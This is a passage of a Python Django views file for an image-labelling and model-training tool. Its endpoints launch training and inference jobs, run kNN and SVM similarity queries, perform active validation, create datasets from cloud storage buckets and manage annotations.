val_neg_dataset_item_pks\n ),\n )\n sampled_pks = random.sample(\n all_eligible_pks, min(len(all_eligible_pks), num_extra_negs)\n )\n neg_dataset_item_pks.extend(sampled_pks)\n\n pos_dataset_item_internal_identifiers = list(\n DatasetItem.objects.filter(pk__in=pos_dataset_item_pks).values_list(\n \"identifier\", flat=True\n )\n )\n neg_dataset_item_internal_identifiers = list(\n DatasetItem.objects.filter(pk__in=neg_dataset_item_pks).values_list(\n \"identifier\", flat=True\n )\n )\n val_pos_dataset_item_internal_identifiers = list(\n DatasetItem.objects.filter(pk__in=val_pos_dataset_item_pks).values_list(\n \"identifier\", flat=True\n )\n )\n val_neg_dataset_item_internal_identifiers = list(\n DatasetItem.objects.filter(pk__in=val_neg_dataset_item_pks).values_list(\n \"identifier\", flat=True\n )\n )\n\n if resume_model_id:\n resume_model = get_object_or_404(DNNModel, model_id=resume_model_id)\n resume_model_path = resume_model.checkpoint_path\n else:\n resume_model = None\n resume_model_path = None\n\n params = {\n \"pos_identifiers\": pos_dataset_item_internal_identifiers,\n \"neg_identifiers\": neg_dataset_item_internal_identifiers,\n \"val_pos_identifiers\": val_pos_dataset_item_internal_identifiers,\n \"val_neg_identifiers\": val_neg_dataset_item_internal_identifiers,\n \"augment_negs\": augment_negs,\n \"model_kwargs\": model_kwargs,\n \"model_name\": model_name,\n \"bucket\": bucket_name,\n \"cluster_id\": cluster_id,\n \"index_id\": index_id,\n \"resume_from\": resume_model_path,\n }\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/start_bgsplit_job\",\n json=params,\n )\n response_data = r.json()\n\n if r.status_code != 200:\n return JsonResponse(\n {\"status\": \"failure\", \"reason\": response_data.get(\"reason\", \"\")},\n status=r.status_code,\n )\n\n m = DNNModel(\n dataset=dataset,\n name=model_name,\n model_id=response_data[\"model_id\"],\n category_spec={\n \"augment_negs\": augment_negs,\n \"pos_tags\": payload[\"pos_tags\"],\n \"neg_tags\": payload[\"neg_tags\"],\n \"augment_negs_include\": payload.get(\"include\", []) if augment_negs else [],\n \"augment_negs_exclude\": payload.get(\"exclude\", []) if augment_negs else [],\n },\n )\n model_epoch = -1 + model_kwargs.get(\"epochs_to_run\", 1)\n if resume_model_id:\n m.resume_model_id = resume_model_id\n if model_kwargs.get(\"resume_training\", False):\n model_epoch += resume_model.epoch + 1\n m.epoch = model_epoch\n m.save()\n\n return JsonResponse(\n {\n \"status\": \"success\",\n \"model_id\": response_data[\"model_id\"],\n }\n )\n\n\n@api_view([\"GET\"])\n@csrf_exempt\ndef get_model_status(request, model_id):\n params = {\"model_id\": model_id}\n r = requests.get(\n settings.EMBEDDING_SERVER_ADDRESS + \"/bgsplit_job_status\", params=params\n )\n response_data = r.json()\n if response_data[\"has_model\"]:\n # Index has been successfully created & uploaded -> persist\n m = get_object_or_404(DNNModel, model_id=model_id)\n m.checkpoint_path = response_data[\"checkpoint_path\"]\n m.save()\n\n return JsonResponse(response_data)\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef update_model_v2(request):\n payload = json.loads(request.body)\n # user = payload[\"user\"]\n old_model_name = payload[\"old_model_name\"]\n new_model_name = payload[\"new_model_name\"]\n\n models = get_list_or_404(DNNModel, name=old_model_name)\n for m in models:\n m.name = new_model_name\n m.save()\n\n return JsonResponse({\"success\": True})\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef delete_model_v2(request):\n payload = json.loads(request.body)\n model_name = payload[\"model_name\"]\n # cluster_id = payload['cluster_id']\n models = get_list_or_404(DNNModel, name=model_name)\n for m in models:\n # TODO(fpoms): delete model data stored on NFS?\n # shutil.rmtree(os.path.join(m.checkpoint_path, '..'))\n shutil.rmtree(m.output_directory, ignore_errors=True)\n m.delete()\n\n return JsonResponse({\"success\": True})\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef run_model_inference(request, dataset_name, dataset=None):\n payload = json.loads(request.body)\n model_id = payload[\"model_id\"]\n cluster_id = payload[\"cluster_id\"]\n bucket_name = payload[\"bucket\"]\n index_id = payload[\"index_id\"]\n\n dataset = get_object_or_404(Dataset, name=dataset_name)\n model_checkpoint_path = get_object_or_404(\n DNNModel, model_id=model_id\n ).checkpoint_path\n if model_checkpoint_path is None or len(model_checkpoint_path) == 0:\n return JsonResponse(\n {\n \"status\": \"failure\",\n \"reason\": f\"Model {model_id} does not have a model checkpoint.\",\n },\n status=400,\n )\n\n params = {\n \"bucket\": bucket_name,\n \"model_id\": model_id,\n \"checkpoint_path\": model_checkpoint_path,\n \"cluster_id\": cluster_id,\n \"index_id\": index_id,\n }\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/start_bgsplit_inference_job\",\n json=params,\n )\n response_data = r.json()\n\n return JsonResponse(\n {\n \"status\": \"success\",\n \"job_id\": response_data[\"job_id\"],\n }\n )\n\n\n@api_view([\"GET\"])\n@csrf_exempt\ndef get_model_inference_status(request, job_id):\n params = {\"job_id\": job_id}\n r = requests.get(\n settings.EMBEDDING_SERVER_ADDRESS + \"/bgsplit_inference_job_status\",\n params=params,\n )\n response_data = r.json()\n if response_data[\"has_output\"]:\n model_id = response_data[\"model_id\"]\n # Index has been successfully created & uploaded -> persist\n m = get_object_or_404(DNNModel, model_id=model_id)\n m.output_directory = response_data[\"output_dir\"]\n m.save()\n\n return JsonResponse(response_data)\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef stop_model_inference(request, job_id):\n params = {\"job_id\": job_id}\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/stop_bgsplit_inference_job\", json=params\n )\n response_data = r.json()\n return JsonResponse(response_data, status=r.status_code)\n\n\n#\n# V2 ENDPOINTS\n# TODO(mihirg): Make these faster\n#\n\n\nTag = namedtuple(\"Tag\", \"category value\") # type: NamedTuple[str, str]\nBox = namedtuple(\n \"Box\", \"category value x1 y1 x2 y2\"\n) # type: NamedTuple[str, str, float, float, float, float]\nPkType = int\n\n\n@dataclass\nclass ResultSet:\n type: str\n ranking: List[PkType]\n distances: List[float]\n model: Optional[str]\n\n\n# TODO(fpoms): this needs to be wrapped in a lock so that\n# updates are atomic across concurrent requests\ncurrent_result_sets = ExpiringDict(\n max_age_seconds=30 * 60,\n max_len=50,\n) # type: Dict[str, ResultSet]\n\n\ndef parse_tag_set_from_query_v2(s):\n if isinstance(s, list):\n parts = s\n elif isinstance(s, str) and s:\n parts = s.split(\",\")\n else:\n parts = []\n ts = set()\n for part in parts:\n if not part:\n continue\n category, value_str = part.split(\":\")\n ts.add(Tag(category, value_str))\n return ts\n\n\ndef tag_sets_to_query(*tagsets):\n merged = set().union(*tagsets)\n if not merged:\n return Q()\n\n return Q(\n annotation__in=Annotation.objects.filter(\n functools.reduce(\n operator.or_,\n [Q(category__name=t.category, mode__name=t.value) for t in merged],\n )\n )\n )\n\n\ndef serialize_tag_set_for_client_v2(ts):\n return [{\"category\": t.category, \"value\": t.value} for t in sorted(list(ts))]\n\n\ndef serialize_boxes_for_client_v2(bs):\n return [\n {\n \"category\": b.category,\n \"value\": b.value,\n \"x1\": b.x1,\n \"y1\": b.y1,\n \"x2\": b.x2,\n \"y2\": b.y2,\n }\n for b in sorted(list(bs))\n ]\n\n\ndef get_tags_from_annotations_v2(annotations):\n tags_by_pk = defaultdict(list)\n annotations = annotations.filter(is_box=False)\n ann_dicts = annotations.values(\"dataset_item__pk\", \"category__name\", \"mode__name\")\n for ann in ann_dicts:\n pk = ann[\"dataset_item__pk\"]\n category = ann[\"category__name\"]\n mode = ann[\"mode__name\"]\n tags_by_pk[pk].append(Tag(category, mode))\n return tags_by_pk\n\n\ndef get_boxes_from_annotations_v2(annotations):\n boxes_by_pk = defaultdict(list)\n annotations = annotations.filter(is_box=True)\n ann_dicts = annotations.values(\n \"dataset_item__pk\",\n \"category__name\",\n \"mode__name\",\n \"bbox_x1\",\n \"bbox_y1\",\n \"bbox_x2\",\n \"bbox_y2\",\n )\n for ann in ann_dicts:\n pk = ann[\"dataset_item__pk\"]\n category = ann[\"category__name\"]\n mode = ann[\"mode__name\"]\n box = (ann[\"bbox_x1\"], ann[\"bbox_y1\"], ann[\"bbox_x2\"], ann[\"bbox_y2\"])\n boxes_by_pk[pk].append(Box(category, mode, *box))\n return boxes_by_pk\n\n\ndef filtered_images_v2(request, dataset, exclude_pks=None) -> List[PkType]:\n filt_start = time.time()\n if request.method == \"POST\":\n payload = json.loads(request.body)\n include_tags = parse_tag_set_from_query_v2(payload.get(\"include\"))\n exclude_tags = parse_tag_set_from_query_v2(payload.get(\"exclude\"))\n pks = [i for i in payload.get(\"subset\", []) if i]\n split = payload.get(\"split\", \"train\")\n offset_to_return = int(payload.get(\"offset\", 0))\n num_to_return = int(payload.get(\"num\", -1))\n else:\n include_tags = parse_tag_set_from_query_v2(request.GET.get(\"include\"))\n exclude_tags = parse_tag_set_from_query_v2(request.GET.get(\"exclude\"))\n pks = [i for i in request.GET.get(\"subset\", \"\").split(\",\") if i]\n split = request.GET.get(\"split\", \"train\")\n offset_to_return = int(request.GET.get(\"offset\", 0))\n num_to_return = int(request.GET.get(\"num\", -1))\n\n end_to_return = None if num_to_return == -1 else offset_to_return + num_to_return\n\n dataset_items = None\n is_val = split == \"val\"\n\n db_start = time.time()\n # Get pks for dataset items of interest\n if pks and exclude_pks:\n # Get specific pks - excluded pks if requested\n exclude_pks = set(exclude_pks)\n pks = [pk for pk in pks if pk not in exclude_pks]\n elif not pks:\n # Otherwise get all dataset items - exclude pks\n dataset_items = DatasetItem.objects.filter(dataset=dataset, is_val=is_val)\n if exclude_pks:\n dataset_items = dataset_items.exclude(pk__in=exclude_pks)\n pks = dataset_items.values_list(\"pk\", flat=True)\n db_end = time.time()\n\n result = None\n db_tag_start = time.time()\n if not include_tags and not exclude_tags:\n # If no tags specified, just return retrieved pks\n result = pks\n else:\n # Otherwise, filter using include and exclude tags\n if dataset_items is None:\n dataset_items = DatasetItem.objects.filter(pk__in=pks)\n\n if include_tags:\n dataset_items = dataset_items.filter(tag_sets_to_query(include_tags))\n if exclude_tags:\n dataset_items = dataset_items.exclude(tag_sets_to_query(exclude_tags))\n\n result = dataset_items.values_list(\"pk\", flat=True)\n\n db_tag_end = time.time()\n result = list(result[offset_to_return:end_to_return])\n filt_end = time.time()\n print(\n f\"filtered_images_v2: tot: {filt_end-filt_start}, \"\n f\"db ({len(result)} items): {db_end-db_start}, db tag: {db_tag_end-db_tag_start}\"\n )\n return result\n\n\ndef process_image_query_results_v2(request, dataset, query_response):\n filtered_pks = filtered_images_v2(request, dataset)\n # TODO(mihirg): Eliminate this database call by directly returning pks from backend\n dataset_items = DatasetItem.objects.filter(pk__in=filtered_pks)\n dataset_items_by_path = {di.path: di for di in dataset_items}\n\n distances = []\n ordered_pks = []\n for r in query_response[\"results\"]:\n if r[\"label\"] in dataset_items_by_path:\n ordered_pks.append(dataset_items_by_path[r[\"label\"]].pk)\n distances.append(r[\"dist\"])\n return dict(\n pks=ordered_pks,\n distances=distances,\n )\n\n\ndef create_result_set_v2(results, type, model=None):\n pks = results[\"pks\"]\n distances = results[\"distances\"]\n result_set_id = str(uuid.uuid4())\n current_result_sets[result_set_id] = ResultSet(\n type=type, ranking=pks, distances=distances, model=model\n )\n return {\n \"id\": result_set_id,\n \"num_results\": len(pks),\n \"type\": type,\n }\n\n\n@api_view([\"GET\"])\n@csrf_exempt\ndef get_results_v2(request, dataset_name):\n dataset = get_object_or_404(Dataset, name=dataset_name)\n\n index_id = request.GET[\"index_id\"]\n result_set_id = request.GET[\"result_set_id\"]\n offset_to_return = int(request.GET.get(\"offset\", 0))\n num_to_return = int(request.GET.get(\"num\", 500))\n clustering_model = request.GET.get(\"clustering_model\", None)\n\n result_set = current_result_sets[result_set_id]\n pks = result_set.ranking[offset_to_return : offset_to_return + num_to_return]\n distances = result_set.distances[\n offset_to_return : offset_to_return + num_to_return\n ]\n\n dataset_items_by_pk = DatasetItem.objects.in_bulk(pks)\n dataset_items = [dataset_items_by_pk[pk] for pk in pks] # preserve order\n\n bucket_name = dataset.train_directory[len(\"gs://\") :].split(\"/\")[0]\n path_template = \"https://storage.googleapis.com/{:s}/\".format(bucket_name) + \"{:s}\"\n\n internal_identifiers = [di.identifier for di in dataset_items]\n params = {\n \"index_id\": index_id,\n \"identifiers\": internal_identifiers,\n }\n if clustering_model:\n params[\"model\"] = clustering_model\n\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/perform_clustering\",\n json=params,\n )\n clustering_data = r.json()\n\n dataset_item_paths = [\n (di.path if di.path.find(\"http\") != -1 else path_template.format(di.path))\n for di in dataset_items\n ]\n dataset_item_identifiers = [di.pk for di in dataset_items]\n\n return JsonResponse(\n {\n \"paths\": dataset_item_paths,\n \"identifiers\": dataset_item_identifiers,\n \"distances\": distances,\n \"clustering\": clustering_data[\"clustering\"],\n }\n )\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef keep_alive_v2(request):\n requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/keep_alive\",\n )\n return JsonResponse({\"status\": \"success\"})\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef generate_embedding_v2(request):\n payload = json.loads(request.body)\n image_id = payload.get(\"image_id\")\n if image_id:\n payload[\"identifier\"] = DatasetItem.objects.get(pk=image_id).identifier\n\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/generate_embedding\",\n json=payload,\n )\n return JsonResponse(r.json())\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef generate_text_embedding_v2(request):\n payload = json.loads(request.body)\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/generate_text_embedding\",\n json=payload,\n )\n return JsonResponse(r.json())\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef query_knn_v2(request, dataset_name):\n payload = json.loads(request.body)\n index_id = payload[\"index_id\"]\n embeddings = payload[\"embeddings\"]\n use_full_image = bool(payload.get(\"use_full_image\", True))\n use_dot_product = bool(payload.get(\"use_dot_product\", False))\n model = payload.get(\"model\", \"imagenet\")\n\n dataset = get_object_or_404(Dataset, name=dataset_name)\n\n query_knn_start = time.time()\n params = {\n \"index_id\": index_id,\n \"embeddings\": embeddings,\n \"use_full_image\": use_full_image,\n \"use_dot_product\": use_dot_product,\n \"model\": model,\n }\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/query_knn_v2\",\n json=params,\n )\n response_data = r.json()\n query_knn_end = time.time()\n logger.debug(\"query_knn_v2 time: {:f}\".format(query_knn_end - query_knn_start))\n\n results = process_image_query_results_v2(\n request,\n dataset,\n response_data,\n )\n return JsonResponse(create_result_set_v2(results, \"knn\", model=model))\n\n\n@api_view([\"GET\"])\n@csrf_exempt\ndef train_svm_v2(request, dataset_name):\n index_id = request.GET[\"index_id\"]\n model = request.GET.get(\"model\", \"imagenet\")\n pos_tags = parse_tag_set_from_query_v2(request.GET[\"pos_tags\"])\n neg_tags = parse_tag_set_from_query_v2(request.GET.get(\"neg_tags\"))\n augment_negs = bool(\n distutils.util.strtobool(request.GET.get(\"augment_negs\", \"false\"))\n )\n\n dataset = get_object_or_404(Dataset, name=dataset_name)\n\n pos_dataset_items = DatasetItem.objects.filter(\n tag_sets_to_query(pos_tags),\n dataset=dataset,\n is_val=False,\n )\n pos_dataset_item_pks = list(pos_dataset_items.values_list(\"pk\", flat=True))\n\n if neg_tags:\n neg_dataset_items = DatasetItem.objects.filter(\n tag_sets_to_query(neg_tags),\n dataset=dataset,\n is_val=False,\n ).difference(pos_dataset_items)\n neg_dataset_item_pks = list(neg_dataset_items.values_list(\"pk\", flat=True))\n else:\n neg_dataset_item_pks = []\n\n # Augment with randomly sampled negatives if requested\n num_extra_negs = settings.SVM_NUM_NEGS_MULTIPLIER * len(pos_dataset_item_pks) - len(\n neg_dataset_item_pks\n )\n if augment_negs and num_extra_negs > 0:\n # Uses \"include\" and \"exclude\" category sets from GET request\n all_eligible_pks = filtered_images_v2(\n request, dataset, exclude_pks=pos_dataset_item_pks + neg_dataset_item_pks\n )\n sampled_pks = random.sample(\n all_eligible_pks, min(len(all_eligible_pks), num_extra_negs)\n )\n neg_dataset_item_pks.extend(sampled_pks)\n\n pos_dataset_item_internal_identifiers = list(\n DatasetItem.objects.filter(pk__in=pos_dataset_item_pks).values_list(\n \"identifier\", flat=True\n )\n )\n neg_dataset_item_internal_identifiers = list(\n DatasetItem.objects.filter(pk__in=neg_dataset_item_pks).values_list(\n \"identifier\", flat=True\n )\n )\n\n params = {\n \"index_id\": index_id,\n \"pos_identifiers\": pos_dataset_item_internal_identifiers,\n \"neg_identifiers\": neg_dataset_item_internal_identifiers,\n \"model\": model,\n }\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/train_svm_v2\",\n json=params,\n )\n return JsonResponse(r.json()) # {\"svm_vector\": base64-encoded string}\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef query_svm_v2(request, dataset_name):\n payload = json.loads(request.body)\n index_id = payload[\"index_id\"]\n svm_vector = payload[\"svm_vector\"]\n score_min = float(payload.get(\"score_min\", 0.0))\n score_max = float(payload.get(\"score_max\", 1.0))\n model = payload.get(\"model\", \"imagenet\")\n\n dataset = get_object_or_404(Dataset, name=dataset_name)\n\n params = {\n \"index_id\": index_id,\n \"svm_vector\": svm_vector,\n \"score_min\": score_min,\n \"score_max\": score_max,\n \"model\": model,\n }\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/query_svm_v2\",\n json=params,\n )\n response_data = r.json()\n\n # TODO(mihirg, jeremye): Consider some smarter pagination/filtering scheme to avoid\n # running a separate query over the index every single time the user adjusts score\n # thresholds\n results = process_image_query_results_v2(\n request,\n dataset,\n response_data,\n )\n return JsonResponse(create_result_set_v2(results, \"svm\"))\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef query_ranking_v2(request, dataset_name):\n payload = json.loads(request.body)\n index_id = payload[\"index_id\"]\n score_min = float(payload.get(\"score_min\", 0.0))\n score_max = float(payload.get(\"score_max\", 1.0))\n model = payload[\"model\"]\n\n dataset = get_object_or_404(Dataset, name=dataset_name)\n\n params = {\n \"index_id\": index_id,\n \"score_min\": score_min,\n \"score_max\": score_max,\n \"model\": model,\n }\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/query_ranking_v2\",\n json=params,\n )\n response_data = r.json()\n\n # TODO(mihirg, jeremye): Consider some smarter pagination/filtering scheme to avoid\n # running a separate query over the index every single time the user adjusts score\n # thresholds\n results = process_image_query_results_v2(\n request,\n dataset,\n response_data,\n )\n return JsonResponse(create_result_set_v2(results, \"ranking\", model=model))\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef query_images_v2(request, dataset_name):\n query_start = time.time()\n\n dataset = get_object_or_404(Dataset, name=dataset_name)\n payload = json.loads(request.body)\n order = payload.get(\"order\", \"id\")\n\n filter_start = time.time()\n result_pks = filtered_images_v2(request, dataset)\n filter_end = time.time()\n\n if order == \"random\":\n random.shuffle(result_pks)\n elif order == \"id\":\n result_pks.sort()\n results = {\"pks\": result_pks, \"distances\": [-1 for _ in result_pks]}\n resp = JsonResponse(create_result_set_v2(results, \"query\"))\n\n query_end = time.time()\n print(\n f\"query_images_v2: tot: {query_end-query_start}, \"\n f\"filter: {filter_end-filter_start}\"\n )\n return resp\n\n\n#\n# ACTIVE VALIDATION\n#\n\n\nVAL_NEGATIVE_TYPE = \"model_val_negative\"\n\n\ndef get_val_examples_v2(dataset, model_id):\n # Get positive and negative categories\n model = get_object_or_404(DNNModel, model_id=model_id)\n\n pos_tags = parse_tag_set_from_query_v2(model.category_spec[\"pos_tags\"])\n neg_tags = parse_tag_set_from_query_v2(model.category_spec[\"neg_tags\"])\n augment_negs = model.category_spec.get(\"augment_negs\", False)\n augment_negs_include = (\n parse_tag_set_from_query_v2(model.category_spec.get(\"augment_negs_include\", []))\n if augment_negs\n else set()\n )\n\n # Limit to validation set\n eligible_dataset_items = DatasetItem.objects.filter(\n dataset=dataset,\n is_val=True,\n )\n\n # Get positives and negatives matching these categories\n categories = Category.objects.filter(\n tag_sets_to_query(pos_tags, neg_tags, augment_negs_include)\n )\n annotations = Annotation.objects.filter(\n dataset_item__in=eligible_dataset_items,\n category__in=categories,\n )\n tags_by_pk = get_tags_from_annotations_v2(annotations)\n\n pos_dataset_item_pks = []\n neg_dataset_item_pks = []\n for pk, tags in tags_by_pk.items():\n if any(t in pos_tags for t in tags):\n pos_dataset_item_pks.append(pk)\n elif any(t in neg_tags or t in augment_negs_include for t in tags):\n neg_dataset_item_pks.append(pk)\n\n # Get extra negatives\n if augment_negs:\n annotations = Annotation.objects.filter(\n dataset_item__in=eligible_dataset_items,\n label_category=model_id,\n label_type=VAL_NEGATIVE_TYPE,\n )\n neg_dataset_item_pks.extend(ann.dataset_item.pk for ann in annotations)\n\n return pos_dataset_item_pks, neg_dataset_item_pks\n\n\n@api_view([\"POST\"])\ndef query_metrics_v2(request, dataset_name):\n dataset = get_object_or_404(Dataset, name=dataset_name)\n payload = json.loads(request.body)\n model_id = payload[\"model\"]\n index_id = payload[\"index_id\"]\n internal_identifiers_to_weights = payload[\"weights\"] # type: Dict[str, int]\n\n pos_dataset_item_pks, neg_dataset_item_pks = get_val_examples_v2(dataset, model_id)\n\n # Construct identifiers, labels, and weights\n dataset_items_by_pk = DatasetItem.objects.in_bulk(\n pos_dataset_item_pks + neg_dataset_item_pks\n )\n identifiers = []\n labels = []\n weights = []\n for pk, label in itertools.chain(\n ((pk, True) for pk in pos_dataset_item_pks),\n ((pk, False) for pk in neg_dataset_item_pks),\n ):\n di = dataset_items_by_pk[pk]\n identifier = di.identifier\n weight = internal_identifiers_to_weights.get(identifier)\n if weight is None:\n continue\n\n identifiers.append(identifier)\n labels.append(label)\n weights.append(weight)\n\n # TODO(mihirg): Parse false positives and false negatives\n params = {\n \"index_id\": index_id,\n \"model\": model_id,\n \"identifiers\": identifiers,\n \"labels\": labels,\n \"weights\": weights,\n }\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/query_metrics\",\n json=params,\n )\n response_data = r.json()\n return JsonResponse(response_data)\n\n\n@api_view([\"POST\"])\ndef query_active_validation_v2(request, dataset_name):\n dataset = get_object_or_404(Dataset, name=dataset_name)\n payload = json.loads(request.body)\n model_id = payload[\"model\"]\n index_id = payload[\"index_id\"]\n current_f1 = payload.get(\"current_f1\")\n if current_f1 is None:\n current_f1 = 0.5\n\n pos_dataset_item_pks, neg_dataset_item_pks = get_val_examples_v2(dataset, model_id)\n\n # Construct paths, identifiers, and labels\n dataset_items_by_pk = DatasetItem.objects.in_bulk(\n pos_dataset_item_pks + neg_dataset_item_pks\n )\n identifiers = []\n labels = []\n for pk, label in itertools.chain(\n ((pk, True) for pk in pos_dataset_item_pks),\n ((pk, False) for pk in neg_dataset_item_pks),\n ):\n di = dataset_items_by_pk[pk]\n identifiers.append(di.identifier)\n labels.append(label)\n\n params = {\n \"index_id\": index_id,\n \"model\": model_id,\n \"identifiers\": identifiers,\n \"labels\": labels,\n \"current_f1\": current_f1,\n }\n r = requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/query_active_validation\",\n json=params,\n )\n response_data = r.json()\n\n if response_data[\"identifiers\"]:\n pks_and_paths = list(\n DatasetItem.objects.filter(\n dataset=dataset,\n identifier__in=response_data[\"identifiers\"],\n is_val=True,\n ).values_list(\"pk\", \"path\")\n )\n random.shuffle(pks_and_paths)\n pks, paths = zip(*pks_and_paths)\n else:\n pks, paths = [], []\n\n bucket_name = dataset.val_directory[len(\"gs://\") :].split(\"/\")[0]\n path_template = \"https://storage.googleapis.com/{:s}/\".format(bucket_name) + \"{:s}\"\n paths = [path_template.format(p) for p in paths]\n\n return JsonResponse(\n {\n \"paths\": paths,\n \"identifiers\": pks,\n \"weights\": response_data[\"weights\"],\n }\n )\n\n\n@api_view([\"POST\"])\ndef add_val_annotations_v2(request):\n payload = json.loads(request.body)\n annotations = payload[\"annotations\"]\n user_email = payload[\"user\"]\n model = payload[\"model\"]\n\n anns = []\n cat_modes = defaultdict(int)\n dataset = None\n for ann_payload in annotations:\n image_pk = ann_payload[\"identifier\"]\n is_other_negative = ann_payload.get(\"is_other_negative\", False)\n mode_str = \"NEGATIVE\" if is_other_negative else ann_payload[\"mode\"]\n category_name = (\n \"active:\" + model if is_other_negative else ann_payload[\"category\"]\n )\n\n user, _ = User.objects.get_or_create(email=user_email)\n category, _ = Category.objects.get_or_create(name=category_name)\n mode, _ = Mode.objects.get_or_create(name=mode_str)\n\n di = DatasetItem.objects.get(pk=image_pk)\n dataset = di.dataset\n assert di.is_val\n ann = Annotation(\n dataset_item=di,\n user=user,\n category=category,\n mode=mode,\n misc_data={\"created_by\": \"active_val\"},\n )\n cat_modes[(category, mode)] += 1\n anns.append(ann)\n\n Annotation.objects.bulk_create(anns)\n for (cat, mode), c in cat_modes.items():\n category_count, _ = CategoryCount.objects.get_or_create(\n dataset=dataset, category=cat, mode=mode\n )\n category_count.count += c\n category_count.save()\n return JsonResponse({\"created\": len(anns)})\n\n\n# DATASET INFO\n\n\n@api_view([\"GET\"])\n@csrf_exempt\ndef get_datasets_v2(request):\n datasets = Dataset.objects.filter(hidden=False)\n dataset_names = list(datasets.values_list(\"name\", flat=True))\n return JsonResponse({\"dataset_names\": dataset_names})\n\n\n@api_view([\"GET\"])\n@csrf_exempt\ndef get_dataset_info_v2(request, dataset_name):\n dataset = get_object_or_404(Dataset, name=dataset_name)\n num_train = dataset.datasetitem_set.filter(is_val=False).count()\n num_val = dataset.datasetitem_set.filter(is_val=True).count()\n\n return JsonResponse(\n {\n \"index_id\": dataset.index_id,\n \"num_train\": num_train,\n \"num_val\": num_val,\n }\n )\n\n\n@api_view([\"GET\"])\n@csrf_exempt\ndef get_models_v2(request, dataset_name):\n dataset = get_object_or_404(Dataset, name=dataset_name)\n\n model_objs = DNNModel.objects.filter(\n dataset=dataset,\n checkpoint_path__isnull=False,\n ).order_by(\"-last_updated\")\n\n model_names = set()\n latest = {}\n with_output = {}\n for model in model_objs:\n model_names.add(model.name)\n if model.name not in latest:\n latest[model.name] = model\n if model.output_directory and model.name not in with_output:\n with_output[model.name] = model\n\n models = [\n {\n \"name\": model_name,\n \"latest\": model_info(latest[model_name]),\n \"with_output\": model_info(with_output.get(model_name)),\n }\n for model_name in model_names\n ]\n return JsonResponse({\"models\": models})\n\n\ndef model_info(model):\n if model is None:\n return None\n\n pos_tags = parse_tag_set_from_query_v2(model.category_spec.get(\"pos_tags\", []))\n neg_tags = parse_tag_set_from_query_v2(model.category_spec.get(\"neg_tags\", []))\n augment_negs_include = parse_tag_set_from_query_v2(\n model.category_spec.get(\"augment_negs_include\", [])\n )\n return {\n \"model_id\": model.model_id,\n \"timestamp\": model.last_updated,\n \"has_checkpoint\": model.checkpoint_path is not None,\n \"has_output\": model.output_directory is not None,\n \"pos_tags\": serialize_tag_set_for_client_v2(pos_tags),\n \"neg_tags\": serialize_tag_set_for_client_v2(neg_tags | augment_negs_include),\n \"augment_negs\": model.category_spec.get(\"augment_negs\", False),\n \"epoch\": model.epoch,\n }\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef create_dataset_v2(request):\n payload = json.loads(request.body)\n name = payload[\"dataset\"]\n train_directory = payload[\"train_path\"]\n val_directory = payload[\"val_path\"]\n index_id = payload[\"index_id\"]\n\n assert all(d.startswith(\"gs://\") for d in (train_directory, val_directory))\n\n # Download index on index server\n params = {\"index_id\": index_id}\n requests.post(\n settings.EMBEDDING_SERVER_ADDRESS + \"/download_index\",\n json=params,\n )\n\n client = storage.Client()\n all_blobs = []\n\n for d, is_val in ((train_directory, False), (val_directory, True)):\n split_dir = d[len(\"gs://\") :].split(\"/\")\n bucket_name = split_dir[0]\n bucket_path = \"/\".join(split_dir[1:])\n\n all_blobs.extend(\n (blob, is_val)\n for blob in client.list_blobs(bucket_name, prefix=bucket_path)\n )\n\n dataset = Dataset(\n name=name,\n train_directory=train_directory,\n val_directory=val_directory,\n index_id=index_id,\n )\n dataset.save()\n\n # Create all the DatasetItems for this dataset\n items = [\n DatasetItem(\n dataset=dataset,\n identifier=os.path.splitext(os.path.basename(blob.name))[0],\n path=blob.name,\n is_val=is_val,\n )\n for blob, is_val in all_blobs\n if (\n blob.name.endswith(\".jpg\")\n or blob.name.endswith(\".jpeg\")\n or blob.name.endswith(\".png\")\n )\n ]\n DatasetItem.objects.bulk_create(items, batch_size=10000)\n\n return JsonResponse({\"status\": \"success\"})\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef get_annotations_v2(request):\n payload = json.loads(request.body)\n image_pks = [i for i in payload[\"identifiers\"] if i]\n if not image_pks:\n return JsonResponse({})\n\n annotations = Annotation.objects.filter(\n dataset_item__in=DatasetItem.objects.filter(pk__in=image_pks),\n )\n tags_by_pk = get_tags_from_annotations_v2(annotations)\n boxes_by_pk = get_boxes_from_annotations_v2(annotations)\n annotations_by_pk = defaultdict(lambda: {\"tags\": [], \"boxes\": []})\n for pk, tags in tags_by_pk.items():\n annotations_by_pk[pk][\"tags\"] = serialize_tag_set_for_client_v2(tags)\n for pk, boxes in boxes_by_pk.items():\n annotations_by_pk[pk][\"boxes\"] = serialize_boxes_for_client_v2(boxes)\n return JsonResponse(annotations_by_pk)\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef add_annotations_v2(request):\n payload = json.loads(request.body)\n image_pks = payload[\"identifiers\"]\n images = DatasetItem.objects.filter(pk__in=image_pks)\n num_created = bulk_add_single_tag_annotations_v2(payload, images)\n return JsonResponse({\"created\": num_created})\n\n\n@api_view([\"POST\"])\n@csrf_exempt\ndef add_annotations_multi_v2(request):\n 